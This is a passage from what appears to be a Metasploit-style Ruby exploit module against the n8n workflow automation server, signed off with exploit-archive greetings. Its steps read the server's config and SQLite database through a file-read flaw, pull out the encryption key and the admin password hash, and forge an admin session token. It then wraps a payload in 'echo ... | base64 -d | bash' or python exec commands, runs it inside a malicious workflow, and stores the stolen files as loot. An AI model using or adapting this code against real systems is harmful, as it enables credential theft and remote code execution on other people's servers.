end
method
end
def generate_compatible_payload
unless ensure_payload_loaded
return nil
end
case target['Arch']
when ARCH_CMD
command = payload.encoded
if command.length > 1000
print_warning("Command payload is very long (#{command.length} chars)")
end
vprint_status("Using command payload")
return command
else
payload_b64 = Rex::Text.encode_base64(payload.encoded)
method = select_payload_method
commands = {
'bash' => "echo #{payload_b64} | base64 -d | bash",
'sh' => "echo #{payload_b64} | base64 -d | sh",
'python3' => "echo #{payload_b64} | python3 -c 'import base64,sys; exec(base64.b64decode(sys.stdin.read()))'",
'python' => "echo #{payload_b64} | python -c 'import base64,sys; exec(base64.b64decode(sys.stdin.read()))'"
}
selected_command = commands[method]
if selected_command
print_status("Using #{method} method for payload execution")
return selected_command
else
print_warning("Unknown method #{method}, falling back to bash")
return commands['bash']
end
end
end
def exploit
print_status("Starting n8n exploitation...")
unless ensure_payload_loaded
return
end
created_workflows = []
token = nil
admin_data = nil
secret = nil
begin
print_status("Step 1: Stealing configuration file...")
config_path = "#{datastore['HOME_DIR']}/.n8n/config"
config_data = read_file_via_form(config_path)
unless config_data
print_error("Failed to read config file. Target may not be vulnerable or path is incorrect.")
return
end
print_status("Step 2: Extracting encryption key...")
secret = extract_encryption_key(config_data)
unless secret
print_error("Failed to extract encryption key")
return
end
print_status("Step 3: Stealing database file...")
db_path = "#{datastore['HOME_DIR']}/.n8n/database.sqlite"
db_data = read_file_via_form(db_path)
unless db_data
print_error("Failed to read database file")
return
end
print_status("Step 4: Extracting admin credentials...")
admin_data = extract_admin_data_sqlite(db_data)
unless admin_data
print_error("Failed to extract admin data using SQLite parser")
print_error("Database may be corrupted or from different n8n version")
return
end
print_good("Successfully extracted admin credentials for: #{admin_data['admin_email']}")
print_status("Step 5: Creating authentication token...")
token = create_session_token(secret, admin_data['admin_id'], admin_data['admin_hash'])
unless token
print_error("Failed to create authentication token")
return
end
print_status("Step 6: Preparing payload...")
command = generate_compatible_payload
unless command
print_error("Failed to generate payload")
return
end
print_status("Step 7: Creating malicious workflow...")
workflow_info = create_workflow(token, command)
unless workflow_info
print_error("Failed to create workflow")
return
end
created_workflows << workflow_info['id']
print_status("Step 8: Executing payload...")
output, error = execute_workflow(token, workflow_info)
if error
print_warning("Execution completed with warning: #{error}")
end
if output && output != "No output captured"
print_good("Command executed successfully!")
print_line("\n#{output}\n")
else
print_warning("No output captured, but payload may have executed")
end
print_status("Step 9: Saving loot...")
loot_path = store_loot(
'n8n.config',
'text/plain',
rhost,
config_data,
'n8n_config.txt',
'n8n Configuration File'
)
print_good("Saved config to: #{loot_path}")
loot_path = store_loot(
'n8n.database',
'application/x-sqlite3',
rhost,
db_data,
'n8n_database.sqlite',
'n8n SQLite Database'
)
print_good("Saved database to: #{loot_path}")
print_good("Exploitation completed!")
rescue => e
print_error("Unexpected error during exploitation: #{e.message}")
if datastore['VERBOSE']
print_error("Backtrace: #{e.backtrace.join("\n")}")
end
ensure
if token && created_workflows.any?
cleanup_workflows(token, created_workflows)
elsif created_workflows.any?
print_warning("Cannot clean up workflows without authentication token")
end
end
end
end
Greetings to :======================================================================
jericho * Larry W. Cashdollar * r00t * Hussin-X * Malvuln (John Page aka hyp3rlinx)|
====================================================================================